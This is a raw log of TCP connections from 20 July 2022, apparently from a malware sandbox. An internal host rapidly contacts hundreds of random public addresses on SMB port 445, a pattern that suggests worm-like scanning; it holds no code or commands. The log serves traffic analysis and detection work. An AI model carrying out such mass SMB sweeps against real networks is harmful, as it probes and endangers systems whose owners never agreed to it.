Jul 20, 2022 06:09:20.622111082 CEST	58511	445	192.168.2.6	104.90.68.52
Jul 20, 2022 06:09:20.622396946 CEST	58518	445	192.168.2.6	171.227.240.216
Jul 20, 2022 06:09:20.622500896 CEST	58519	445	192.168.2.6	171.111.229.48
Jul 20, 2022 06:09:20.622762918 CEST	58522	445	192.168.2.6	60.120.145.117
Jul 20, 2022 06:09:20.622843981 CEST	58523	445	192.168.2.6	196.92.217.187
Jul 20, 2022 06:09:20.623166084 CEST	58529	445	192.168.2.6	107.221.172.136
Jul 20, 2022 06:09:20.623186111 CEST	58530	445	192.168.2.6	205.7.22.16
Jul 20, 2022 06:09:20.623282909 CEST	58531	445	192.168.2.6	203.246.75.132
Jul 20, 2022 06:09:20.623347044 CEST	58532	445	192.168.2.6	150.30.146.66
Jul 20, 2022 06:09:20.623426914 CEST	58533	445	192.168.2.6	136.86.190.61
Jul 20, 2022 06:09:20.623687029 CEST	58539	445	192.168.2.6	79.161.229.1
Jul 20, 2022 06:09:20.664834023 CEST	445	58491	66.234.33.192	192.168.2.6
Jul 20, 2022 06:09:20.914550066 CEST	58541	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:20.965652943 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:21.003782034 CEST	445	58522	60.120.145.117	192.168.2.6
Jul 20, 2022 06:09:21.083451986 CEST	445	58541	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:21.083628893 CEST	58541	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:21.110234976 CEST	58541	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:21.131506920 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:21.131548882 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:21.178462982 CEST	58491	445	192.168.2.6	66.234.33.192
Jul 20, 2022 06:09:21.280031919 CEST	445	58541	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:21.280383110 CEST	58541	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:21.288841963 CEST	445	58491	66.234.33.192	192.168.2.6
Jul 20, 2022 06:09:21.289324999 CEST	58543	445	192.168.2.6	176.241.42.107
Jul 20, 2022 06:09:21.289999962 CEST	58544	445	192.168.2.6	37.21.160.134
Jul 20, 2022 06:09:21.429697990 CEST	58546	445	192.168.2.6	178.159.42.132
Jul 20, 2022 06:09:21.449534893 CEST	445	58541	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:21.449892998 CEST	58541	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:21.506584883 CEST	58522	445	192.168.2.6	60.120.145.117
Jul 20, 2022 06:09:21.539930105 CEST	58547	445	192.168.2.6	141.176.156.140
Jul 20, 2022 06:09:21.540101051 CEST	58551	445	192.168.2.6	5.64.72.52
Jul 20, 2022 06:09:21.619293928 CEST	445	58541	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:21.646959066 CEST	58558	445	192.168.2.6	209.20.38.126
Jul 20, 2022 06:09:21.647031069 CEST	58561	445	192.168.2.6	183.127.107.128
Jul 20, 2022 06:09:21.647125006 CEST	58563	445	192.168.2.6	149.253.178.2
Jul 20, 2022 06:09:21.647547960 CEST	58572	445	192.168.2.6	134.120.124.7
Jul 20, 2022 06:09:21.678241014 CEST	58582	445	192.168.2.6	111.128.165.220
Jul 20, 2022 06:09:21.678284883 CEST	58583	445	192.168.2.6	188.224.28.133
Jul 20, 2022 06:09:21.678380966 CEST	58584	445	192.168.2.6	123.62.161.244
Jul 20, 2022 06:09:21.680001974 CEST	58586	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:21.765667915 CEST	58592	445	192.168.2.6	222.207.8.54
Jul 20, 2022 06:09:21.765798092 CEST	58593	445	192.168.2.6	154.188.182.135
Jul 20, 2022 06:09:21.765799046 CEST	58596	445	192.168.2.6	109.157.222.243
Jul 20, 2022 06:09:21.765933990 CEST	58597	445	192.168.2.6	184.74.122.215
Jul 20, 2022 06:09:21.766108036 CEST	58603	445	192.168.2.6	172.243.35.245
Jul 20, 2022 06:09:21.766176939 CEST	58604	445	192.168.2.6	52.12.82.79
Jul 20, 2022 06:09:21.766242981 CEST	58605	445	192.168.2.6	217.50.16.138
Jul 20, 2022 06:09:21.766282082 CEST	58606	445	192.168.2.6	6.225.228.134
Jul 20, 2022 06:09:21.766346931 CEST	58607	445	192.168.2.6	125.173.138.229
Jul 20, 2022 06:09:21.766516924 CEST	58613	445	192.168.2.6	168.152.92.135
Jul 20, 2022 06:09:21.766613007 CEST	58615	445	192.168.2.6	103.122.161.48
Jul 20, 2022 06:09:21.766684055 CEST	58617	445	192.168.2.6	216.192.8.158
Jul 20, 2022 06:09:21.766993046 CEST	58623	445	192.168.2.6	36.107.18.190
Jul 20, 2022 06:09:21.767252922 CEST	58632	445	192.168.2.6	176.156.55.194
Jul 20, 2022 06:09:21.850681067 CEST	445	58586	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:21.850847960 CEST	58586	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:21.850999117 CEST	58586	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:21.857242107 CEST	445	58522	60.120.145.117	192.168.2.6
Jul 20, 2022 06:09:21.860146046 CEST	58635	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:22.018749952 CEST	445	58586	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.018779039 CEST	445	58586	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.033675909 CEST	445	58635	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.033838034 CEST	58635	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:22.033987045 CEST	58635	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:22.207636118 CEST	445	58635	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.207829952 CEST	58635	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:22.367687941 CEST	58638	445	192.168.2.6	37.21.160.135
Jul 20, 2022 06:09:22.368181944 CEST	58639	445	192.168.2.6	176.241.42.108
Jul 20, 2022 06:09:22.384213924 CEST	445	58635	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.384475946 CEST	58635	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:22.510941029 CEST	58641	445	192.168.2.6	178.159.42.133
Jul 20, 2022 06:09:22.559035063 CEST	445	58635	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:22.654670954 CEST	58646	445	192.168.2.6	215.208.178.2
Jul 20, 2022 06:09:22.654767036 CEST	58645	445	192.168.2.6	61.226.64.71
Jul 20, 2022 06:09:22.710266113 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:22.772051096 CEST	58656	445	192.168.2.6	36.170.176.59
Jul 20, 2022 06:09:22.772052050 CEST	58655	445	192.168.2.6	13.220.203.69
Jul 20, 2022 06:09:22.772151947 CEST	58659	445	192.168.2.6	23.146.101.43
Jul 20, 2022 06:09:22.772511959 CEST	58668	445	192.168.2.6	2.68.140.53
Jul 20, 2022 06:09:22.791984081 CEST	58677	445	192.168.2.6	20.61.150.86
Jul 20, 2022 06:09:22.792682886 CEST	58678	445	192.168.2.6	194.94.7.31
Jul 20, 2022 06:09:22.793270111 CEST	58679	445	192.168.2.6	81.37.142.96
Jul 20, 2022 06:09:22.803014040 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.803064108 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.803145885 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.804024935 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.804060936 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.906611919 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.906764984 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.909241915 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.909264088 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.909838915 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.910890102 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.910906076 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.910916090 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.911048889 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.919275045 CEST	58687	445	192.168.2.6	65.48.230.157
Jul 20, 2022 06:09:22.919411898 CEST	58688	445	192.168.2.6	63.8.139.172
Jul 20, 2022 06:09:22.919622898 CEST	58691	445	192.168.2.6	145.19.227.25
Jul 20, 2022 06:09:22.919894934 CEST	58698	445	192.168.2.6	49.103.134.48
Jul 20, 2022 06:09:22.920310020 CEST	58708	445	192.168.2.6	187.111.208.178
Jul 20, 2022 06:09:22.920420885 CEST	58710	445	192.168.2.6	128.90.194.110
Jul 20, 2022 06:09:22.920507908 CEST	58711	445	192.168.2.6	107.249.29.83
Jul 20, 2022 06:09:22.920577049 CEST	58712	445	192.168.2.6	84.155.81.74
Jul 20, 2022 06:09:22.920779943 CEST	58717	445	192.168.2.6	206.132.243.139
Jul 20, 2022 06:09:22.920860052 CEST	58718	445	192.168.2.6	89.176.199.23
Jul 20, 2022 06:09:22.921010971 CEST	58720	445	192.168.2.6	35.153.228.0
Jul 20, 2022 06:09:22.921045065 CEST	58721	445	192.168.2.6	136.70.163.68
Jul 20, 2022 06:09:22.921247959 CEST	58726	445	192.168.2.6	143.133.243.58
Jul 20, 2022 06:09:22.921350956 CEST	58727	445	192.168.2.6	211.157.57.66
Jul 20, 2022 06:09:22.940737963 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.940843105 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:22.940944910 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.945066929 CEST	58681	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:09:22.945100069 CEST	443	58681	20.199.120.182	192.168.2.6
Jul 20, 2022 06:09:23.446194887 CEST	58732	445	192.168.2.6	176.241.42.109
Jul 20, 2022 06:09:23.446245909 CEST	58733	445	192.168.2.6	37.21.160.136
Jul 20, 2022 06:09:23.570882082 CEST	58735	445	192.168.2.6	178.159.42.134
Jul 20, 2022 06:09:23.598790884 CEST	445	58735	178.159.42.134	192.168.2.6
Jul 20, 2022 06:09:23.780566931 CEST	58741	445	192.168.2.6	86.105.210.68
Jul 20, 2022 06:09:23.781150103 CEST	58742	445	192.168.2.6	160.163.97.36
Jul 20, 2022 06:09:23.883446932 CEST	58745	445	192.168.2.6	134.138.78.127
Jul 20, 2022 06:09:23.888462067 CEST	58754	445	192.168.2.6	170.109.169.206
Jul 20, 2022 06:09:23.893368006 CEST	58762	445	192.168.2.6	126.231.215.131
Jul 20, 2022 06:09:23.894434929 CEST	58764	445	192.168.2.6	83.70.48.29
Jul 20, 2022 06:09:23.916172028 CEST	58772	445	192.168.2.6	150.219.204.107
Jul 20, 2022 06:09:23.916707993 CEST	58773	445	192.168.2.6	218.228.215.0
Jul 20, 2022 06:09:23.917234898 CEST	58774	445	192.168.2.6	5.37.81.8
Jul 20, 2022 06:09:24.040826082 CEST	58781	445	192.168.2.6	206.135.10.28
Jul 20, 2022 06:09:24.041316032 CEST	58782	445	192.168.2.6	169.145.223.154
Jul 20, 2022 06:09:24.083245039 CEST	58785	445	192.168.2.6	72.13.143.217
Jul 20, 2022 06:09:24.083329916 CEST	58790	445	192.168.2.6	131.49.114.197
Jul 20, 2022 06:09:24.083640099 CEST	58801	445	192.168.2.6	84.34.127.166
Jul 20, 2022 06:09:24.083702087 CEST	58803	445	192.168.2.6	141.245.148.164
Jul 20, 2022 06:09:24.083781004 CEST	58805	445	192.168.2.6	143.20.252.125
Jul 20, 2022 06:09:24.083831072 CEST	58807	445	192.168.2.6	48.53.232.254
Jul 20, 2022 06:09:24.083954096 CEST	58811	445	192.168.2.6	75.241.152.90
Jul 20, 2022 06:09:24.083986998 CEST	58812	445	192.168.2.6	176.65.197.79
Jul 20, 2022 06:09:24.084074974 CEST	58814	445	192.168.2.6	100.148.80.103
Jul 20, 2022 06:09:24.084101915 CEST	58815	445	192.168.2.6	13.181.56.53
Jul 20, 2022 06:09:24.084285975 CEST	58820	445	192.168.2.6	69.135.142.250
Jul 20, 2022 06:09:24.084332943 CEST	58821	445	192.168.2.6	131.100.74.192
Jul 20, 2022 06:09:24.100569010 CEST	58735	445	192.168.2.6	178.159.42.134
Jul 20, 2022 06:09:24.128375053 CEST	445	58735	178.159.42.134	192.168.2.6
Jul 20, 2022 06:09:24.148030996 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:24.180677891 CEST	445	58824	134.220.131.3	192.168.2.6
Jul 20, 2022 06:09:24.180838108 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:24.491264105 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:24.523900032 CEST	58827	445	192.168.2.6	176.241.42.110
Jul 20, 2022 06:09:24.524781942 CEST	58828	445	192.168.2.6	37.21.160.137
Jul 20, 2022 06:09:24.570394039 CEST	445	58827	176.241.42.110	192.168.2.6
Jul 20, 2022 06:09:24.650134087 CEST	58829	445	192.168.2.6	178.159.42.135
Jul 20, 2022 06:09:24.741220951 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:24.905272007 CEST	58836	445	192.168.2.6	69.215.67.26
Jul 20, 2022 06:09:24.905972004 CEST	58837	445	192.168.2.6	170.122.35.250
Jul 20, 2022 06:09:25.008111954 CEST	58840	445	192.168.2.6	101.170.133.138
Jul 20, 2022 06:09:25.012115955 CEST	58849	445	192.168.2.6	71.69.58.222
Jul 20, 2022 06:09:25.017642021 CEST	58857	445	192.168.2.6	223.110.93.28
Jul 20, 2022 06:09:25.019037008 CEST	58859	445	192.168.2.6	202.101.248.49
Jul 20, 2022 06:09:25.029062033 CEST	58867	445	192.168.2.6	22.130.31.154
Jul 20, 2022 06:09:25.029839993 CEST	58868	445	192.168.2.6	97.242.249.30
Jul 20, 2022 06:09:25.030597925 CEST	58869	445	192.168.2.6	150.169.228.232
Jul 20, 2022 06:09:25.084997892 CEST	58827	445	192.168.2.6	176.241.42.110
Jul 20, 2022 06:09:25.133219004 CEST	445	58827	176.241.42.110	192.168.2.6
Jul 20, 2022 06:09:25.152030945 CEST	58876	445	192.168.2.6	64.60.99.152
Jul 20, 2022 06:09:25.153027058 CEST	58877	445	192.168.2.6	29.234.41.222
Jul 20, 2022 06:09:25.197875977 CEST	58882	445	192.168.2.6	162.173.145.247
Jul 20, 2022 06:09:25.264175892 CEST	58887	445	192.168.2.6	37.39.114.165
Jul 20, 2022 06:09:25.264556885 CEST	58895	445	192.168.2.6	124.144.131.156
Jul 20, 2022 06:09:25.264702082 CEST	58900	445	192.168.2.6	137.74.48.6
Jul 20, 2022 06:09:25.264714956 CEST	58899	445	192.168.2.6	48.97.92.121
Jul 20, 2022 06:09:25.264903069 CEST	58904	445	192.168.2.6	35.235.120.192
Jul 20, 2022 06:09:25.265013933 CEST	58906	445	192.168.2.6	14.109.2.1
Jul 20, 2022 06:09:25.265211105 CEST	58908	445	192.168.2.6	158.114.203.57
Jul 20, 2022 06:09:25.265311956 CEST	58909	445	192.168.2.6	201.193.26.67
Jul 20, 2022 06:09:25.265579939 CEST	58914	445	192.168.2.6	190.63.160.158
Jul 20, 2022 06:09:25.265696049 CEST	58915	445	192.168.2.6	73.11.126.71
Jul 20, 2022 06:09:25.265741110 CEST	58916	445	192.168.2.6	188.170.85.243
Jul 20, 2022 06:09:25.304656029 CEST	445	58900	137.74.48.6	192.168.2.6
Jul 20, 2022 06:09:25.350723982 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:25.570457935 CEST	58921	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:25.603310108 CEST	58922	445	192.168.2.6	37.21.160.138
Jul 20, 2022 06:09:25.604537010 CEST	58923	445	192.168.2.6	176.241.42.111
Jul 20, 2022 06:09:25.726809025 CEST	58924	445	192.168.2.6	178.159.42.136
Jul 20, 2022 06:09:25.740098953 CEST	445	58921	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:25.740222931 CEST	58921	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:25.740406990 CEST	58921	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:25.819431067 CEST	58900	445	192.168.2.6	137.74.48.6
Jul 20, 2022 06:09:25.857851982 CEST	445	58900	137.74.48.6	192.168.2.6
Jul 20, 2022 06:09:25.910213947 CEST	445	58921	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:25.910470963 CEST	58921	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:26.025151014 CEST	58932	445	192.168.2.6	77.146.251.220
Jul 20, 2022 06:09:26.025578976 CEST	58933	445	192.168.2.6	34.17.128.186
Jul 20, 2022 06:09:26.080034971 CEST	445	58921	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:26.080259085 CEST	58921	445	192.168.2.6	107.186.37.23
Jul 20, 2022 06:09:26.123306036 CEST	58934	445	192.168.2.6	104.14.149.82
Jul 20, 2022 06:09:26.125431061 CEST	58943	445	192.168.2.6	89.178.106.120
Jul 20, 2022 06:09:26.125803947 CEST	58952	445	192.168.2.6	84.249.251.31
Jul 20, 2022 06:09:26.149117947 CEST	58958	445	192.168.2.6	84.69.156.186
Jul 20, 2022 06:09:26.150505066 CEST	58960	445	192.168.2.6	18.37.241.126
Jul 20, 2022 06:09:26.153048038 CEST	58961	445	192.168.2.6	48.126.45.25
Jul 20, 2022 06:09:26.178822041 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:26.249656916 CEST	445	58921	107.186.37.23	192.168.2.6
Jul 20, 2022 06:09:26.262763023 CEST	58970	445	192.168.2.6	118.127.139.138
Jul 20, 2022 06:09:26.262777090 CEST	58971	445	192.168.2.6	168.249.251.180
Jul 20, 2022 06:09:26.305805922 CEST	58976	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.320511103 CEST	58977	445	192.168.2.6	115.184.152.252
Jul 20, 2022 06:09:26.381820917 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.381871939 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.382028103 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.383023977 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.383048058 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.409468889 CEST	58987	445	192.168.2.6	171.94.89.30
Jul 20, 2022 06:09:26.409708023 CEST	58992	445	192.168.2.6	125.111.173.67
Jul 20, 2022 06:09:26.409905910 CEST	58997	445	192.168.2.6	5.67.82.151
Jul 20, 2022 06:09:26.409980059 CEST	58998	445	192.168.2.6	136.58.139.6
Jul 20, 2022 06:09:26.410140991 CEST	59002	445	192.168.2.6	159.39.15.122
Jul 20, 2022 06:09:26.410284996 CEST	59006	445	192.168.2.6	96.41.10.199
Jul 20, 2022 06:09:26.410356045 CEST	59007	445	192.168.2.6	118.45.184.24
Jul 20, 2022 06:09:26.410537958 CEST	59012	445	192.168.2.6	154.15.137.87
Jul 20, 2022 06:09:26.410608053 CEST	59013	445	192.168.2.6	113.226.250.94
Jul 20, 2022 06:09:26.410676003 CEST	59014	445	192.168.2.6	176.90.34.230
Jul 20, 2022 06:09:26.474787951 CEST	445	58976	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.474879980 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.474992990 CEST	58976	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.475044966 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.475162983 CEST	58976	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.477859974 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.477885008 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.478374004 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.482749939 CEST	59018	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.484407902 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.484428883 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.484457970 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.484652042 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.511749983 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.511851072 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.511954069 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.512104988 CEST	58985	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:09:26.512128115 CEST	443	58985	20.199.120.85	192.168.2.6
Jul 20, 2022 06:09:26.553914070 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:26.644006014 CEST	445	58976	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.644033909 CEST	445	58976	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.650604010 CEST	445	59018	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.650729895 CEST	59018	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.650904894 CEST	59018	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.680986881 CEST	59020	445	192.168.2.6	176.241.42.112
Jul 20, 2022 06:09:26.681842089 CEST	59021	445	192.168.2.6	37.21.160.139
Jul 20, 2022 06:09:26.789449930 CEST	59022	445	192.168.2.6	178.159.42.137
Jul 20, 2022 06:09:26.816519022 CEST	445	59022	178.159.42.137	192.168.2.6
Jul 20, 2022 06:09:26.821676970 CEST	445	59018	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.822434902 CEST	59018	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:26.991852999 CEST	445	59018	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:26.992294073 CEST	59018	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:27.153651953 CEST	59027	445	192.168.2.6	221.236.220.17
Jul 20, 2022 06:09:27.154306889 CEST	59026	445	192.168.2.6	181.157.54.144
Jul 20, 2022 06:09:27.160911083 CEST	445	59018	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:27.246262074 CEST	59034	445	192.168.2.6	72.151.157.167
Jul 20, 2022 06:09:27.246332884 CEST	59039	445	192.168.2.6	68.77.154.24
Jul 20, 2022 06:09:27.246409893 CEST	59038	445	192.168.2.6	215.245.145.65
Jul 20, 2022 06:09:27.246723890 CEST	59048	445	192.168.2.6	51.56.115.194
Jul 20, 2022 06:09:27.263667107 CEST	59062	445	192.168.2.6	197.248.132.18
Jul 20, 2022 06:09:27.263696909 CEST	59061	445	192.168.2.6	60.79.42.3
Jul 20, 2022 06:09:27.263766050 CEST	59064	445	192.168.2.6	92.136.225.64
Jul 20, 2022 06:09:27.319560051 CEST	59022	445	192.168.2.6	178.159.42.137
Jul 20, 2022 06:09:27.347202063 CEST	445	59022	178.159.42.137	192.168.2.6
Jul 20, 2022 06:09:27.372075081 CEST	59069	445	192.168.2.6	28.206.60.144
Jul 20, 2022 06:09:27.372953892 CEST	59070	445	192.168.2.6	178.193.10.2
Jul 20, 2022 06:09:27.430529118 CEST	59074	445	192.168.2.6	220.32.227.20
Jul 20, 2022 06:09:27.510716915 CEST	59083	445	192.168.2.6	120.50.29.176
Jul 20, 2022 06:09:27.553740978 CEST	59088	445	192.168.2.6	128.94.247.244
Jul 20, 2022 06:09:27.553826094 CEST	59093	445	192.168.2.6	80.203.74.14
Jul 20, 2022 06:09:27.553914070 CEST	59094	445	192.168.2.6	108.94.107.12
Jul 20, 2022 06:09:27.554199934 CEST	59098	445	192.168.2.6	194.247.7.65
Jul 20, 2022 06:09:27.554245949 CEST	59099	445	192.168.2.6	4.138.33.72
Jul 20, 2022 06:09:27.554356098 CEST	59102	445	192.168.2.6	20.9.58.103
Jul 20, 2022 06:09:27.554408073 CEST	59103	445	192.168.2.6	104.236.249.79
Jul 20, 2022 06:09:27.554644108 CEST	59109	445	192.168.2.6	156.36.15.119
Jul 20, 2022 06:09:27.554707050 CEST	59110	445	192.168.2.6	43.70.184.167
Jul 20, 2022 06:09:27.554714918 CEST	59108	445	192.168.2.6	50.59.37.72
Jul 20, 2022 06:09:27.599586010 CEST	445	59098	194.247.7.65	192.168.2.6
Jul 20, 2022 06:09:27.760036945 CEST	59114	445	192.168.2.6	37.21.160.140
Jul 20, 2022 06:09:27.760575056 CEST	59115	445	192.168.2.6	176.241.42.113
Jul 20, 2022 06:09:27.851771116 CEST	59118	445	192.168.2.6	178.159.42.138
Jul 20, 2022 06:09:28.100981951 CEST	59098	445	192.168.2.6	194.247.7.65
Jul 20, 2022 06:09:28.146572113 CEST	445	59098	194.247.7.65	192.168.2.6
Jul 20, 2022 06:09:28.277133942 CEST	59126	445	192.168.2.6	41.51.224.56
Jul 20, 2022 06:09:28.277226925 CEST	59127	445	192.168.2.6	74.246.104.127
Jul 20, 2022 06:09:28.360059023 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:28.360090971 CEST	59133	445	192.168.2.6	182.115.14.249
Jul 20, 2022 06:09:28.360179901 CEST	59135	445	192.168.2.6	21.9.161.76
Jul 20, 2022 06:09:28.360397100 CEST	59143	445	192.168.2.6	76.63.194.145
Jul 20, 2022 06:09:28.370551109 CEST	59157	445	192.168.2.6	193.42.59.79
Jul 20, 2022 06:09:28.370564938 CEST	59159	445	192.168.2.6	129.50.31.5
Jul 20, 2022 06:09:28.370625973 CEST	59160	445	192.168.2.6	191.157.43.79
Jul 20, 2022 06:09:28.494595051 CEST	59163	445	192.168.2.6	6.141.218.98
Jul 20, 2022 06:09:28.495651960 CEST	59164	445	192.168.2.6	64.52.31.107
Jul 20, 2022 06:09:28.557580948 CEST	59171	445	192.168.2.6	190.134.189.50
Jul 20, 2022 06:09:28.594017029 CEST	445	59130	186.65.200.170	192.168.2.6
Jul 20, 2022 06:09:28.594171047 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:28.594940901 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:28.633063078 CEST	59178	445	192.168.2.6	9.82.6.246
Jul 20, 2022 06:09:28.692621946 CEST	59189	445	192.168.2.6	191.215.124.20
Jul 20, 2022 06:09:28.692727089 CEST	59190	445	192.168.2.6	101.23.52.63
Jul 20, 2022 06:09:28.692816973 CEST	59195	445	192.168.2.6	37.5.53.110
Jul 20, 2022 06:09:28.692847013 CEST	59194	445	192.168.2.6	196.194.224.10
Jul 20, 2022 06:09:28.692904949 CEST	59196	445	192.168.2.6	74.67.247.101
Jul 20, 2022 06:09:28.692930937 CEST	59199	445	192.168.2.6	129.217.93.35
Jul 20, 2022 06:09:28.692982912 CEST	59200	445	192.168.2.6	33.150.234.144
Jul 20, 2022 06:09:28.693175077 CEST	59205	445	192.168.2.6	161.229.52.238
Jul 20, 2022 06:09:28.693201065 CEST	59207	445	192.168.2.6	207.75.54.43
Jul 20, 2022 06:09:28.693285942 CEST	59208	445	192.168.2.6	45.154.61.177
Jul 20, 2022 06:09:28.772849083 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:09:28.824831963 CEST	445	59174	186.65.200.1	192.168.2.6
Jul 20, 2022 06:09:28.825112104 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:28.856722116 CEST	59211	445	192.168.2.6	37.21.160.141
Jul 20, 2022 06:09:28.857194901 CEST	59212	445	192.168.2.6	176.241.42.114
Jul 20, 2022 06:09:28.859225035 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:28.904200077 CEST	445	59212	176.241.42.114	192.168.2.6
Jul 20, 2022 06:09:28.930342913 CEST	59216	445	192.168.2.6	178.159.42.139
Jul 20, 2022 06:09:28.960351944 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:29.094050884 CEST	445	59213	186.65.200.1	192.168.2.6
Jul 20, 2022 06:09:29.094181061 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:29.288497925 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:29.400260925 CEST	59220	445	192.168.2.6	82.99.181.139
Jul 20, 2022 06:09:29.400464058 CEST	59221	445	192.168.2.6	2.217.234.237
Jul 20, 2022 06:09:29.413497925 CEST	59212	445	192.168.2.6	176.241.42.114
Jul 20, 2022 06:09:29.460522890 CEST	445	59212	176.241.42.114	192.168.2.6
Jul 20, 2022 06:09:29.480834007 CEST	59233	445	192.168.2.6	66.170.41.131
Jul 20, 2022 06:09:29.485832930 CEST	59242	445	192.168.2.6	66.65.111.241
Jul 20, 2022 06:09:29.486299992 CEST	59243	445	192.168.2.6	47.144.46.168
Jul 20, 2022 06:09:29.496072054 CEST	59255	445	192.168.2.6	2.172.78.87
